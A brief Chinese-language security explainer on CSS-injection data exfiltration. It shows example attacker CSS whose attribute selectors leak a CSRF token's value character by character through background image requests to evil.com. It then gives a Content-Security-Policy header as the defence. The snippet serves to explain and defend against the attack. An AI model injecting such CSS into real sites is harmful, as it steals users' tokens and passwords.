当应用允许用户注入自定义 CSS(如个性化主题功能)时,攻击者可利用 CSS 属性选择器 input[value^="a"] 配合 background: url(...) 发起逐字符盲注外带,将 CSRF Token 或密码等敏感输入框的值泄露到攻击者服务器。
一、恶意 CSS 逐字符外带载荷示例
css
/* 攻击者注入的样式:根据输入框 value 前缀触发不同外带请求 */
input[name="csrf_token"][value^="a"] { background: url("https://evil.com/leak?c=a"); }
input[name="csrf_token"][value^="b"] { background: url("https://evil.com/leak?c=b"); }
input[name="csrf_token"][value^="c"] { background: url("https://evil.com/leak?c=c"); }
/* ... 遍历全部字符集,配合 :has() 与动画可实现自动化逐位提取 */http
# 防御:CSP 限制 style-src 并禁用内联样式与外部图片加载
Content-Security-Policy: style-src 'self'; img-src 'self'; default-src 'self';